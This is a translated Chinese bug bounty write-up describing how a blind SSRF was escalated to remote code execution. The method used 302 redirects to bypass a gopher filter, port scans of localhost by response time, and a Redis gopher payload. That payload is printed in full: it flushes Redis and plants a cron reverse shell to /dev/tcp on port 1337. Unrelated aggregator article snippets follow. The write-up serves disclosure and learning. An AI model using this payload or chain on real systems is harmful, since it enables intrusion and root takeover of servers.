当前位置: 首页 > news >正文

翻译文章 | Just gopher it!无回显SSRF升级为RCE

前言:

发现此漏洞的bug bounty团队不允许公开披露,因此我不会直接命名所涉及的程序。

我能说的是,这是在Hackerone运行时间最长、规模最大的bug赏金活动中发现的。多个Hackerone的现场黑客活动已经包括这个活动。

毋庸置疑,这是一家拥有世界级安全团队的公司,多年来一直有大量专门针对它的黑客专家——这使得这个漏洞的存在更加令人惊讶。

第1部分:侦察

通常对于一个大范围的bug赏金程序,我会从子域枚举开始,以增加我的攻击面,但在这种情况下,我只针对我的目标上的一个web应用程序。

因为我只专注于一个web应用,所以我开始使用GAU工具获取url和路径列表。我还查看了各种javascript文件以寻找隐藏的路径,并使用ffuf工具进行了一些目录模糊爆破。我通过这些方法找到了一些有趣的路径,但没有发现任何可攻击的。

由于第一种侦查方法没有导致任何发现,我尝试了另一种方法-测试web应用程序的各种功能,同时运行Burp代理在后台。所有发出的请求都存储在Burp中的一个有组织的列表中,这样就可以很容易地查看所有请求,以寻找任何有趣的或可能存在漏洞的内容。

在测试web应用程序的功能后,我开始查看存储在代理日志中的请求,并遇到类似的请求:

GET /xxx/logoGrabber?url= [http://example.com][0]

Host: site.example.com

一个接受url参数的GET请求。这个请求的响应看起来是这样的,包含了关于url的标题和logo的信息:

{"responseTime":"99999ms","grabbedUrl":" [http://example.com][0] ","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}

这个请求立即引起了我的兴趣,因为它返回了一些关于URL的数据。当遇到从URL返回信息的请求时,测试SSRF是一个好主意。

第2部分:发现SSRF

我在SSRF的第一次尝试失败了。我能够得到外部与我的服务器的交互,但没有获得任何内部IP地址,因为他们有适当的保护。

在未能命中任何内部IP地址后,我决定看看能否命中该公司的任何公开的子域名。我为我的目标做了一些子域枚举,然后开始在请求时覆盖所有枚举域。

最后,我很幸运地发现了一些请求,这些请求返回了来自非公开访问站点的标题数据。

子域名somecorpsite.example.com就是一个很好的例子。当我试图在浏览器中访问http://somecorpsite.example.com时,请求超时了。但当我提交请求时:

GET /xxx/logoGrabber?url= [http://somecorpsite.example.com][1]

Host: site.example.com

回复包含了内部标题和logo信息:

{"responseTime":"9ms","grabbedUrl":" [http://somecorpsite.example.com][1] ","urlInfo": {"pageTitle":"INTERNAL PAGE TITLE","pageLogo":" [http://somecorpsite.example.com/logos/logo.png"}}][2]

img

现在我可以点击内部子域名访问标题和标志的url,我决定提交一个报告给我的目标无回显SSRF。内部标题信息没有包含任何过于敏感的内容,没有其他页面内容被返回,所以我认为这将被认为是一个相当低的影响无回显SSRF,但我没有想法来升级这个,并决定报告它。

一段时间后,报告被接受了,并进行了归档。

第3部分:RCE

自从我的原始报告被归档后,大约一个月过去了。我很高兴它被归档了,但我知道影响很低,我可能不会从中得到什么。

SSRF仍然是可攻击的,尚未修复,所以我决定做一些更多的研究,试图进一步升级它。在我的研究过程中,我了解到Gopher协议是升级ssrf的一种很好的方式,在某些情况下可以导致完整的远程代码执行。

为了测试gopher协议是否被支持,我提交了类似如下的请求:

GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl

Host: site.example.com

不幸的是,请求立即失败,并导致服务器错误。没有向我的Burp服务器提出任何请求,所以似乎gopher协议不被支持。

在继续我的测试时,我在网上看到重定向通常是绕过某些SSRF保护的好方法,所以我决定测试服务器是否遵循重定向。

为了测试重定向是否有效,我设置了一个Python http服务器,302将所有GET流量重定向到我的Burp服务器

python3 302redirect.py port “http://mycollaboratorurl/”

然后,我提交了如下请求,以查看重定向是否击中我的服务器:

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

提交请求后,我注意到重定向被跟踪,导致命中我的Burp服务器url。所以现在我已经验证了302个重定向被跟踪了…

现在重定向工作了,我决定用gopher协议来测试它。最初在请求中提交gopher有效负载直接导致服务器错误,所以我像下面这样设置重定向服务器来测试gopher是否可以通过重定向工作:

python3 302redirect.py port “gopher://mycollaboratorurl/”

然后再把请求提交

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

令我惊讶的是,它成功了——重定向被跟踪了,我收到了对我的服务器url的请求!有一些过滤器反对Gopher协议的url,但如果我重定向从我自己的服务器,它就能绕过这个防护,重定向被跟踪Gopher有效载荷被执行!

不仅gopher有效负载通过302重定向执行,而且我意识到使用gopher我现在还可以命中以前过滤过的内部IP地址,如127.0.0.1。

img

现在我有了Gopher有效负载,可以访问内部主机,我必须弄清楚可以与哪些服务进行交互,以便升级。在做了一些搜索之后,我发现了gopher工具,它可以生成gopher有效载荷来升级SSRF。它包含以下服务的有效载荷:

gopherus([https://github.com/tarunkant/Gopherus)][0]

  • MySQL (Port-3306)
  • FastCGI (Port-9000)
  • Memcached (Port-11211)
  • Redis (Port-6379)
  • Zabbix (Port-10050)
  • SMTP (Port-25)

为了确定127.0.0.1上是否开放了上述任何端口,我使用了SSRF和端口扫描的响应时间。

通过302重定向我的web服务器到gopher://127.0.0.1:port,然后提交请求

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

我可以识别开放的端口,因为如果端口关闭,请求的响应时间会很长,如果端口打开,请求的响应时间会很短。使用这个端口扫描方法,我检查了以上所有6个端口。一个端口似乎是开放的-端口6379 (Redis)

302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED

302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED

302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN

现在情况开始好转了。我想要的都有了:

  • Gopher协议被302重定向接收
  • 能够用gopher有效载荷攻击本地主机
  • 确定在本地主机上运行的一个可能存在漏洞的服务

使用Gopherus,我生成了一个Redis反向shell负载,最终看起来像这样:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

如果这个有效负载成功,它将对我的netcat侦听器产生一个反向shell。我把我的服务器重定向到gopher有效负载,就像这样:

python3 302redirect.py port "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A

%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

一旦我的web服务器启动,我还在端口1337上启动了一个Netcat侦听器来捕获任何传入的反向shell。

最后,揭晓真相的时刻到了。我提交了请求:

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

什么都没有。什么也没有发生。我看到一个请求来到我的重定向服务器,但没有反向shell返回到我的netcat。这就是我想的结局,果然还是挖不到rce,selfxss才适合我。

我想也许img

我的端口扫描是误报的,没有Redis服务器运行在本地主机上。

我接受了失败,开始关闭一切。我真的把鼠标放在运行netcat的终端的X按钮上,离点击关闭netcat只有几毫秒,突然

我真的不知道为什么会延迟这么久,但是在提交请求大约5分钟后,我收到了一个反向shell。我很高兴我让监听一直听着,否则我永远不会知道我有一个RCE。

img

我运行whoami来验证我有RCE(并且我是root!),然后立即断开连接并使用新的信息更新我的原始报告。

img

极简简约动态分割线本周六快手联合火线 举办线下「观火」白帽沙龙活动 ↓扫描二维码火速了解解码未来活动banner

【火线Zone】

火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火小表妹]免费加入~

我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!

欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!

指纹识别简约卡片动态二维码 (2)

引导分享点赞在看GIF引导三连

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.exyb.cn/news/show-2814.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

ann2snn的代码分析

首先,主函数是if_cnn_mnist_work.py 1.输出snn测试结果的就是这么一些代码: utils.pytorch_ann2snn(model_namemodel_name,norm_tensornorm_tensor,test_data_loadertest_data_loader,devicedevice,TT,log_dirlog_dir,configconfig)2.ctrl鼠标左键点击py…...

基于域名访问网站1(作业)

搭建一个基于http://www.zuoye.com:22222访问的web网站,网站首页在/www/http/,内容为zuoye 结果 过程: 创建网页的根目录,并编辑网页内容为zuoye 编辑/etc/httpd/conf.d/zuoye.conf 关闭防火墙 关闭selinux 重启httpd 编辑/…...

虚拟内存和地址空间

目录 一、物理内存vs虚拟内存 二、物理内存空间和虚拟内存空间 三、32bit的地址空间 四、cpu位宽和cpu地址总线宽 五、虚拟内存地址空间划分 六、虚拟地址和物理地址的映射 早期的计算机程序都是直接跑在物理内存上的,这就要求程序大小不能超过物理内存的上限…...

STM32CubMx自学笔记(一)-LED灯翻转

STM32CubMX自学笔记(一)---LED灯翻转工程创建系统具体配置工程代码编写下载验证结语工程创建 首先得安装STM32CubMx软件。具体安装步骤参照 保姆级安装步骤,这里将不再赘述,第一节主要是介绍新工程的创建,首先在桌面打…...

十四、Python第十四课——文件和异常

(请先看这篇文章:https://blog.csdn.net/GenuineMonster/article/details/104495419) 如果看完这篇博文,你的问题还是没有解决,那么请关注我的公众号,后台发消息给我吧,当天回复&#x…...

Linux下安装sqlite3

文章目录前言安装步骤测试安装成功前言 sqlite3的安装 安装步骤 依次执行以下命令: 1)wget http://www.sqlite.org/sqlite-3.5.6.tar.gz 2)tar -xzvf sqlite-3.5.6.tar.gz 3)cd sqlite-3.5.6 4)./configure 5)make 6)make install测试安装成功 出现红色方框信息…...

拉伯配资6月1日策略

5月回想:在5月份的战略中,我们认为其时胶着的商场可能在5月会有所改动。从实践表现来看,5月下旬商场明显出现了一些活泼做多的信号,商场也选择了向上打破。上证指数上涨超4%,深圳成指上涨近3%。 行情判别:从…...

微信小程序趋势及前景,大厂直通车!

最近看到群里看到一个女生,讲述了她从开始选择Android,经过非常努力的学习和挣扎,然而最后面对当前的环境却不得不放弃。看完以后真的非常替她感觉惋惜,如果早几年入行可能结果会比现在好很多,但可惜,这就是…...

设计模式导读助记

各个设计模式的详细介绍都已经完成,但是不经常用总会忘,所以我想用 一句话 总结设计模式,思考模式的真正意图,再用 一点提示 来思考代码如何实现 写在前面 我整理的设计模式这一个系列,主要是结合了以下几本书 : 《设…...

RT-Thrad|STM32F103+ESP8266 S01+RT-Thread联网之环境搭建(1/3)

文章目录前言硬件准备百问网STM32F103ESP8266 01SESP8266 介绍ESP8266 01S技术规格参数软件准备下载安装 Keil μVision5Pack Installer安装 ST-Link 驱动获取RT-Thread源码下载安装 RT-Thread env 工具文章列表 RT-Thrad|STM32F103ESP8266 S01RT-Thread联网之环境搭建(1/3)RT…...

webrtc之SVC实现(十)

一、概念 SVC(可适性视频编码或可分级视频编码)是传统H.264/MPEG-4 AVC编码的延伸,可提升更大的编码弹性,并具有时间可适性(Temporal Scalability)、空间可适性(Spatial Scalability&#xff09…...

LeetCode 数值的整数次方

实现 pow(x, n) ,即计算 x 的 n 次幂函数(即,xn)。不得使用库函数,同时不需要考虑大数问题。 示例 1: 输入:x 2.00000, n 10 输出:1024.00000 示例 2: 输入&#xf…...

python 继承和多态

在已有类的基础上创建新类,这其中的一种做法就是让一个类从另一个类那里将属性和方法直接继承下来,从而减少重复代码的编写。提供继承信息的我们称之为父类,也叫超类或基类;得到继承信息的我们称之为子类,也叫派生类或…...

个性化个人主页html5模板

介绍: 个性化个人主页html5模板 网盘下载地址: http://kekewl.net/tARDuX5n02U0 图片:...

java IO教程《三》

缓冲区流讲解(Buffered) 什么是缓冲区? 缓冲流,也叫高效流,是对4个基本的File流的增强,所以也是4个流,按照数据类型分类: 字节缓冲流:BufferedInputStream,BufferedOutputStream字…...

elementUI-Tree 树形控件的使用

elementUI-Tree 树形控件的使用 实现效果: 控件的官方使用说明 控件要求返回的数据结构 {"success": true,"code": 20000,"message": "成功","data": {"items": [{"id": "1394579386…...

跨域请求

/* * Description: 配置文件 */ module.exports { publicPath: "./", devServer: { open: true, proxy: "http://106.15.179.105/api" //跨域路径 }, }; // proxy是代理的意思 // 代理跨域就是在欺骗浏览器 让浏览器认为你访问的还是 同…...

Mac os下通过Anaconda在远程服务器配置python虚拟环境

一、SSH管理软件 这里推荐一款本人正在使用的软件,Termius。Termius是一款非常好用而且漂亮的SSH客户端,能快速远程控制服务器,可以定制自己喜欢的主题.Termius不仅涵盖了Windows、Linux、OSX,还变态得支持Android和iOS&#xff…...

Labview需求(部分)

本人从事工控行业多年,有一些资源,目前labview的单子干不过来了,想找几个靠谱的labview工程师跟我合作,想做兼职,接单的labview工程师可以私聊我,另外我有一些项目还需要跟单片机工程师,plc工程师,fpga工程师合作,欢迎大家找我合作!以下是手里比较着急的项目,需要外包 需求1&am…...

2021java1年经验公司面试真题

1面我就省略了,主要就是看你的以前工作情况,以前工作内容能不能清晰表达,还有一些简单的java基础问题,大概20多分钟。二面就是40分钟基础,20分钟业务,10分钟个人情况。下面是二面问题 1.自我介绍 做一下自…...

跨域请求

/* * Description: 配置文件 */ module.exports { publicPath: "./", devServer: { open: true, proxy: "http://106.15.179.105/api" //跨域路径 }, }; // proxy是代理的意思 // 代理跨域就是在欺骗浏览器 让浏览器认为你访问的还是 同…...

音频播客个人主页HTML5模板

简介: 音频播客个人主页HTML5模板 网盘下载地址: http://kekewl.net/v9EzEhwAarU0 图片:...

使用 openssl 计算 base64(防止内存泄露)

#include "openssl/bio.h" #include "openssl/evp.h" #include "openssl/buffer.h"int base64(const unsigned char *src, int src_len, unsigned char *dst, int *dst_len) {BIO *bio_hnd_mem NULL;BIO *bio_hnd_meth NULL;BUF_MEM *buf_me...

如何抓取modem开机log

1. adb root 2. adb shell cat /sys/bus/msm_subsys/devices/subsys*/name 3. 根据2输出的结果从上往下数,从0开始数,数到modem是数字几,那么*号就用几来替代,比如数到moddem是3,那么modem对应的子系统就是subsys3 4…...

【leetcode游记】竞赛题 1877

数组中最大数对和的最小值。 这道题,老实说光看懂我就看了很久。论刷题的重要性。 总结为:排序题 题目链接: https://leetcode-cn.com/problems/minimize-maximum-pair-sum-in-array/ 数对和,就是两个数相加。 两个数相加的值要…...

Keepalived实现web高可用

Keepalived高可用服务器 准备三台Linux服务器,两台做Web服务器,并部署Keepalived高可用软件,一台作为客户端主机,实现如下功能 使用Keepalived实现web服务器的高可用Web服务器IP地址分别为192.168.4.100和192.168.4.200Web服务器…...

Mybatis逆向工程(一个代码生成器)

mybatis逆向工程 引入pom依赖 <dependency>groupId>org.mybatis.generator</groupId><artifactId>mybatis-generator-core</artifactId><version>1.4.0</version> <dependency>MyBatis3DynamicSql 的示例配置 <!DOCTYPE ge…...

移动端布局

准备工作&#xff1a;设置meta标签&#xff1b; <meta name"format-dtection" content"telephoneno"/> 视口的设置&#xff1a; utf-8 国际编码 charest 编码 viewport 适口 &#xff0c;所能看到的范围&#xff0c; widthdevice-width 宽度等于…...

不是吧!连Linux都不会你还想月入过W(入门基础篇)

目录 一、Linux概览 二、Linux安装 三、Linux文件管理 四、Linux基本命令 五、Linux高级命令 六、vim编辑器 七、用户和用户组管理 八、权限管理 一、Linux概览 Linux是什么&#xff1f; Linux和我们常见的Windows一样&#xff0c;都是操作系统。 Linux能做什么&…...

基于麦克风阵列的声源定位算法之GCC-PHAT

目前基于麦克风阵列的声源定位方法大致可以分为三类&#xff1a; 基于最大输出功率的可控波束形成技术 基于高分辨率谱图估计技术和基于声音时间差&#xff08;time-delay estimation&#xff0c;TDE&#xff09;。 基于TDE的算法核心在于对传播时延的准确估计&#xff0c;一…...

民生总行科技岗面经

软件开发岗&#xff0c;业务线是直销银行&#xff0c;base北京顺义。 6月份笔试&#xff0c;8月份约面试&#xff0c;10月份offer。一个字&#xff0c;佛。 笔试 最接近互联网风格的笔试。因为是提前批&#xff0c;所以编程题a的不是很多&#xff0c;侥幸进了面试 面试 分为…...

亚信科技收购趋势科技中国

今日&#xff0c;趋势科技与亚信科技联合发布公告&#xff0c;亚信科技收购趋势科技在中国的全部业务&#xff0c;包括核心技术及著作权100多项。结合亚信原有的通信安全技术与趋势科技的云安全、大数据安全技术&#xff0c;亚信安全将成为具有世界领先水准的中国自主可控网络云…...

510阿里日,马老师献上最走心、最科技范儿证婚词~

510阿里日&#xff0c;102对新人在马爸爸的见证下&#xff0c;步入AI时代~马老师献上最走心、最切题、最科技范儿也最情深义重的证婚词&#xff1a;在早上的亲友见面会环节上&#xff0c;一位员工家属就向阿里CPO童文红提了一个要求&#xff0c;“公司能不能帮我闺女找一个男朋…...

超详细宝塔面板搭建和安装wordpress网站图文教程(附案例)

宝塔面板添加WordPress站点 一、建站准备条件 条件1&#xff1a;阿里云服务器一台。原则上有台服务器就好了&#xff0c;不过我一般喜欢用大品牌&#xff0c;稳定和安全。条件2&#xff1a; 阿里云域名一个。在哪家买的服务器&#xff0c;就用哪家的域名&#xff0c;反之&…...

零基础搭建电影网站教程——二、运行环境

二、运行环境 有了域名与服务器了&#xff0c;现在可以搭建一下电影网站运行环境了。 【我的站点&#xff1a;百视影院】 &#xff08;1&#xff09;SSH连接 我使用的是XShell工具&#xff0c;在电脑上下载安装一下。打开Xshell&#xff0c;创建一个新的连接&#xff0c;将账号…...

Linux | Linux环境与版本作业

Linux1、以下哪个命令输出Linux内核的版本信息&#xff1a;2、linux 2.6.* 内核默认支持的文件系统有哪些&#xff1f;3、linux查看cpu占用的命令是什么&#xff1f;4、在Linux系统中, 为找到文件try_grep含有以a字母为行开头的内容, 可以使用命令&#xff1f;5、在使用mkdir命…...

如何在Linux上使用fd命令

Fatmawati Achmad Zaenuri/ShutterstockFatmawati Achmad Zaenuri / ShutterstockOn Linux, fd is an easier alternative to the find command. It has a simplified syntax, uses sensible defaults, and has built-in common-sense behavior. Let’s take it through its pa...

一文搞懂CAN和CAN FD总线协议

目录 1、CAN数据帧 1.1、帧起始 1.2、仲裁段 1.2.1、标准数据帧 1.2.2、扩展数据帧 1.3、控制段 1.4、数据段 1.5、CRC段 1.6、ACK段 1.7、帧结束 2、CAN标准数据帧和扩展数据帧 2.1、标准数据帧 2.2、扩展数据帧 2.3、标准数据帧和扩展数据帧的特性 3、CAN遥控…...

c语言FD_SET头文件,select()函数以及FD_ZERO、FD_SET、FD_CLR、FD_ISSET

―――――――――――――――――――――――――――――――――――――――2、select函数的接口比较简单&#xff1a;int select(int nfds, fd_set *readset, fd_set *writeset,fd_set* exceptset, struct tim *timeout);功能&#xff1a;测试指定的fd可读&#xff1f;…...

Python学习笔记第四十三天(NumPy 算术函数)

Python学习笔记第四十三天NumPy 算术函数numpy.reciprocal()numpy.power()numpy.mod()结束语NumPy 算术函数 NumPy 算术函数包含简单的加减乘除: add()&#xff0c;subtract()&#xff0c;multiply() 和 divide()。 需要注意的是数组必须具有相同的形状或符合数组广播规则。 …...

彻底弄懂 Linux 下的文件描述符(fd)

目录 1、从一个最常见的例子说起 2、Linux中的文件描述符&#xff08;file descriptor&#xff09; 3、Linux上打开文件举例 4、C语言中文件描述符的使用 5、Python中文件描述符的使用 6、Linux配置系统最大打开文件描述符个数 7、参考链接 1、从一个最常见的例子说起 …...

删除节点

删除节点的方法&#xff0c;分别是remove(),detach(),empty()方法 remove()方法用于从DOM中删除所有匹配元素&#xff0c; remove方法删除某个节点之后&#xff0c;该节点所包含的所有后代节点将>同时被删除。 remove()方法的返回值是一个指向已被删除的节点的引用。以>后…...

maya清除unknown垃圾节点mel代码

1、unknown垃圾节点清除方法&#xff1a; 做灯光渲染属于三维制作流程中的最终环节&#xff0c;也是比较麻烦&#xff0c;因为大型项目的文件都是参考ref的方式&#xff0c;不同模块都使用不同的插件工具&#xff0c;会大有大量的垃圾节点信息&#xff0c;比如使用了不同的渲染…...

专访D-Wave CEO:量子计算的过去、现在和未来

&#xff08;图片来源&#xff1a;网络&#xff09; 量子计算可能成为一项颠覆性技术&#xff1a;它建立在听起来非常奇特的物理学基础上&#xff0c;并有望以前所未有的速度和效率解决某些类别的问题。一些人认为&#xff0c;目前在量子计算领域的承诺太多&#xff0c;交付却不…...

react 嵌套渲染_React 中嵌套数组数据如何渲染到前端页面

现在有后端提供的类似下面这种格式的数据{status:X,body:[{year: 2017, month: [December, October, ...]}{year: 2016, month: [December, October, ...]}{year: 2015, month: [December, October, ...]}...]}需要在 React 中渲染成{year}}>{month}{month}{year}}>{mont…...

Android中的View是如何渲染的?

上一篇文章https://blog.csdn.net/zxm528/article/details/123226033?spm1001.2014.3001.5501&#xff0c;我们分析了Android中Activity,Window以及View三者之间的逻辑关系。最终分析到是我们设置了页面的布局是通过ViewRootImpl#setView()方法实现的&#xff0c;那么我们就会…...

Blender渲染分辨率如何优化设置?这些渲染技巧你要知道

尽管Blender不断改进其功能&#xff0c;随着硬件的不断进步而变得越来越复杂&#xff0c;该软件最好的是允许很多人免费试用它。但即使所有人都可以访问&#xff0c;这并不意味着Blender可以克服低端GPU的局限性。 并非所有PC都是平等的&#xff0c;也不是每个3D设计师都可以使…...

常用的5个渲染农场渲染价格测试

最近发现扮家家渲染农场降价了&#xff0c;于是提交了3张效果图到经常用的几个渲染农场进行对比一下&#xff0c;看看他们的渲染费究竟哪家便宜&#xff0c;我们一起来看看。 先看结果&#xff1a; 三张效果图在5个渲染农场的渲染费用由低到高分别在炫云花了0.996元&#xff…...

渲染服务器操作系统,如何用服务器做渲染

如何用服务器做渲染 内容精选换一换&#xfffd;&#xfffd;&#xfffd;&#xfffd;BoostKit ARMԭ&#xfffd;&#xfffd;ʹ&#xfffd;&#xfffd;&#xfffd;׼&#xfffd;&#xfffd;&#xfffd;&#xfffd;&#xfffd;&#xfffd;嵥&#xfffd;&#xfffd…...

图形渲染——伽马矫正

这个话题一直是我的一个困扰,因为我看了Unity Shader的讲解,总感觉作者是不是把问题搞反了,前后叙述是矛盾的。后来经过反复查看,可以肯定作者是对的,但是因为表述不清楚或者太啰嗦,把一些重点给掩盖在了文字里边,现在我要来重点梳理一下干货: 一、为什么要使用伽马编…...